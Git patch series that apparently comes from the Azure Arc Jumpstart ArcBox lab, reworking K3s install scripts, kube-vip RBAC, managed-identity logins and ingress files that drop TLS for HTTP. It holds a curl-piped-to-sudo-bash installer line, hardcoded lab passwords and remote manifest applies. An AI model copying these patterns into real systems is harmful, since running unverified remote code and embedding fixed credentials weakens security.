'8e3af657-a8ff-443c-a75c-2fe8c4bcb635') - } + dependsOn: [ + vmRoleAssignment_Owner + ] } From 8d81c2b9ad28e903a3628b4d1b266082f5731ecc Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 16:59:58 -0400 Subject: [PATCH 136/456] add kubeconfig --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 3562707cac..a82e55e9d5 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -230,7 +230,7 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" -$Env:KUBECONFIG=$cluster[0].kubeConfig +$Env:KUBECONFIG=$clusters[0].kubeConfig kubectx az k8s-extension create ` --name $osmMeshName ` From 866e104854f5c88d7ab76d118053e1758cb16c7e Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 18:48:44 -0400 Subject: [PATCH 137/456] update https --- azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 59edcc6b9b..6354717a4c 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window https://arcbox.devops.com/bookbuyer https://arcbox.devops.com/bookstore https://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookbuyer http://arcbox.devops.com/bookstore http://arcbox.devops.com/bookstore-v2' [Environment]::Exit(1) From e3e4d9131a83d1960d2fa0ea6d575114cc34e995 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 19:07:55 -0400 Subject: [PATCH 138/456] remove kube vip rbac url --- .../artifacts/DevOpsLogonScript.ps1 | 52 +++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index a82e55e9d5..86db5e3ecd 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -68,7 +68,6 @@ $sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceTyp $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx # Downloading ArcBox-K3s log file Write-Header "Downloading ArcBox-K3s Install Logs" @@ -108,11 +107,58 @@ foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig kubectx -kubectl apply -f https://kube-vip.io/manifests/rbac.yaml +# kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet $kubeVipDaemonset = @" apiVersion: apps/v1 kind: DaemonSet @@ -203,12 +249,12 @@ status: numberMisscheduled: 0 numberReady: 0 "@ - $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml +# Set kube-vip range-global for kubernetes services $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] From 0866319aac17f396cd83016ddd1ac1083d558f4b Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 22:34:23 -0400 Subject: [PATCH 139/456] remove spn details --- .../artifacts/installK3s.sh | 58 +++++++++++-------- .../bicep/kubernetes/ubuntuRancher.bicep | 2 +- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 2 +- 3 files changed, 36 insertions(+), 26 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index c41d24fd68..6aa4a68f3e 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -11,31 +11,31 @@ sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd # Injecting environment variables echo '#!/bin/bash' >> vars.sh echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $subscriptionId:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh -echo $storageContainerName:${11} | awk '{print substr($1,2); }' >> vars.sh -echo $k3sControlPlane:${12} | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $subscriptionId:$2 | awk '{print substr($1,2); }' >> vars.sh +echo $vmName:$3 | awk '{print substr($1,2); }' >> vars.sh +echo $location:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $stagingStorageAccountName:$5 | awk '{print substr($1,2); }' >> vars.sh +echo $logAnalyticsWorkspace:$6 | awk '{print substr($1,2); }' >> vars.sh +echo $templateBaseUrl:$7 | awk '{print substr($1,2); }' >> vars.sh +echo $storageContainerName:$8 | awk '{print substr($1,2); }' >> vars.sh +echo $k3sControlPlane:$9 | awk '{print substr($1,2); }' >> vars.sh sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export subscriptionId=/' vars.sh -sed -i '7s/^/export vmName=/' vars.sh -sed -i '8s/^/export location=/' vars.sh -sed -i '9s/^/export stagingStorageAccountName=/' vars.sh -sed -i '10s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh -sed -i '12s/^/export storageContainerName=/' vars.sh -sed -i '13s/^/export k3sControlPlane=/' vars.sh +# sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh +# sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh +# sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh +sed -i '3s/^/export subscriptionId=/' vars.sh +sed -i '4s/^/export vmName=/' vars.sh +sed -i '5s/^/export location=/' vars.sh +sed -i '6s/^/export stagingStorageAccountName=/' vars.sh +sed -i '7s/^/export logAnalyticsWorkspace=/' vars.sh +sed -i '8s/^/export templateBaseUrl=/' vars.sh +sed -i '9s/^/export storageContainerName=/' vars.sh +sed -i '10s/^/export k3sControlPlane=/' vars.sh # Set k3 deployment variables export K3S_VERSION="1.28.2+k3s1" # Do not change! @@ -56,8 +56,18 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash echo "" echo "Log in to Azure" echo "" -# sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -sudo -u $adminUsername az login --identity +for i in {1..5}; do + sudo -u $adminUsername az login --identity + if [[ $? -eq 0 ]]; then + break + fi + sleep 15 + if [[ $i -eq 5 ]]; then + echo "Error: Failed to login to Azure after 5 retries" + exit 1 + fi +done + sudo -u $adminUsername az account set --subscription $subscriptionId az -v diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index b06ca94334..7943d98335 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -177,7 +177,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index 50e84b71c9..a351cedcc3 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -152,7 +152,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] From 7eb8d7c734d2943cc980e4921dc8fee5bf5c7cf5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 7 Jun 2024 00:56:44 -0400 Subject: [PATCH 140/456] update k3s scripts --- .../artifacts/devops_ingress/bookbuyer.yaml | 4 +- .../artifacts/devops_ingress/bookstore.yaml | 4 +- .../artifacts/devops_ingress/hello-arc.yaml | 4 +- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 194 +++++++++--------- .../gitops_scripts/ResetBookstore.ps1 | 24 +-- 5 files changed, 107 insertions(+), 123 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b611819cc..feb77ea40a 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index f02c21a829..7cf3770a2e 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b35c1315a3..1dc452b013 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 693e94e4a9..d001b41df5 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -9,7 +9,7 @@ $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" $ingressNamespace = "ingress-nginx" -$certname = "k3s-ingress-cert" +# $certname = "k3s-ingress-cert" $certdns = "arcbox.k3sdevops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -57,113 +57,109 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Create the Kubernetes secret with the service principal credentials -kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret -kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - -# Deploy SecretProviderClass -$secretProvider = @" -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: "$certname" - key: tls.key - - objectName: "$certname" - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: $Env:keyVaultName - objects: | - array: - - | - objectName: "$certname" - objectType: secret - tenantId: "$Env:spnTenantId" -"@ - -Write-Host "Creating Secret Provider Class" -$secretProvider | kubectl apply -n $k3sNamespace -f - - -# Create the pod with volume referencing the secrets-store.csi.k8s.io driver -$appConsumer = @" -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds -"@ - -Write-Host "Deploying App referencing the secret" -$appConsumer | kubectl apply -n $k3sNamespace -f - +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Create the Kubernetes secret with the service principal credentials +# kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret +# kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + +# # Deploy SecretProviderClass +# $secretProvider = @" +# apiVersion: secrets-store.csi.x-k8s.io/v1 +# kind: SecretProviderClass +# metadata: +# name: azure-kv-sync-tls +# spec: +# provider: azure +# secretObjects: # secretObjects defines the desired state of synced K8s secret objects +# - secretName: ingress-tls-csi +# type: kubernetes.io/tls +# data: +# - objectName: "$certname" +# key: tls.key +# - objectName: "$certname" +# key: tls.crt +# parameters: +# usePodIdentity: "false" +# keyvaultName: $Env:keyVaultName +# objects: | +# array: +# - | +# objectName: "$certname" +# objectType: secret +# tenantId: "$Env:spnTenantId" +# "@ + +# Write-Host "Creating Secret Provider Class" +# $secretProvider | kubectl apply -n $k3sNamespace -f - + +# # Create the pod with volume referencing the secrets-store.csi.k8s.io driver +# $appConsumer = @" +# apiVersion: v1 +# kind: Pod +# metadata: +# name: busybox-secrets-sync +# spec: +# containers: +# - name: busybox +# image: k8s.gcr.io/e2e-test-images/busybox:1.29 +# command: +# - "/bin/sleep" +# - "10000" +# volumeMounts: +# - name: secrets-store-inline +# mountPath: "/mnt/secrets-store" +# readOnly: true +# volumes: +# - name: secrets-store-inline +# csi: +# driver: secrets-store.csi.k8s.io +# readOnly: true +# volumeAttributes: +# secretProviderClass: "azure-kv-sync-tls" +# nodePublishSecretRef: +# name: secrets-store-creds +# "@ + +# Write-Host "Deploying App referencing the secret" +# $appConsumer | kubectl apply -n $k3sNamespace -f - # Deploy an Ingress Resource referencing the Secret created by the CSI driver $ingressController = @" apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -188,7 +184,7 @@ Add-Content -Path $Env:windir\System32\drivers\etc\hosts -Value "`n`t$ip`t$certd $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index 68facfccaf..30015437ab 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -19,13 +19,9 @@ kind: Ingress metadata: name: ingress-reset-bookbuyer annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -49,13 +45,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -78,13 +70,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore-v2 annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -104,6 +92,6 @@ $ingressBookstorev2 | kubectl apply -n bookstore -f - # - Invoke Reset API #################### -Invoke-WebRequest -Uri "https://$certdns/bookbuyer/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore-v2/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookbuyer/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore-v2/reset" -UseBasicParsing From 0a0b5bbc69a409469522b12c5569d7ed9d99c120 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 10 Jun 2024 13:23:42 -0400 Subject: [PATCH 141/456] k3s reset script changes --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 1 - .../artifacts/gitops_scripts/K3sGitOps.ps1 | 7 ++++--- .../artifacts/gitops_scripts/K3sRBAC.ps1 | 7 ++++--- .../artifacts/gitops_scripts/ResetBookstore.ps1 | 5 +++-- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 86db5e3ecd..8c85b6dafa 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -107,7 +107,6 @@ foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig kubectx -# kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index d001b41df5..5824acc47c 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -16,8 +16,8 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sGitOps.log -Write-Host "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -25,7 +25,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 6064c1fc36..ecdb1319df 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -7,8 +7,8 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sRBAC.log -# echo "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -16,7 +16,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index 30015437ab..dc246f9f66 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -4,8 +4,9 @@ $certdns = "arcbox.devops.com" Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log -# Switch kubectl context to arcbox-k3s -kubectx arcbox-datasvc-k3s +# Switch kubectl context to arcbox-datasvc-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" +kubectx ############################ # - Deploy Ingress for Reset From f368c43549c3315964d4336f3552dbd3cfea4ceb Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 11:18:13 -0400 Subject: [PATCH 142/456] Fix resource name --- azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 | 2 +- azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 5824acc47c..3da9a15048 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -3,7 +3,7 @@ $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } 